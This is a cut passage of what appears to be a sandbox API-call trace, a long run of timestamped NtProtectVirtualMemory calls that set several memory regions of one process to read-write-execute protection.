ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.096] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0319.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, 